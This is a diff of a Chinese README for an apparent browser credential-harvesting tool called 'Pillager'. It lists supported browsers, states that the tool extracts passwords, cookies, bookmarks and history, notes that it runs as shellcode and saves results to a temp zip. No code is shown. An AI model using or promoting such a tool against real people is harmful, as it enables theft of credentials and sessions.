+10,23 @@ 目前支持: -* IE/旧版Edge的密码,书签,历史记录提取 -* Chromium系浏览器的密码,书签,历史记录,cookies提取 +* IE +* Edge +* Chrome +* Chrome Beta +* Chromium +* Brave-Browser +* QQBrowser +* SogouExplorer +* Vivaldi +* CocCoc +* FireFox 后续将会陆续添加支持的浏览器 ## 优点 -体积小,长期维护,shellcode兼容.Net Framework 2.x/3.x/4.x , shellcode兼容x86/x64 +体积小,长期维护,shellcode兼容.Net Framework 2.x/3.x/4.x , shellcode兼容x86/x64,执行后文件输出至`%Temp%\Pillager.zip` ## 编译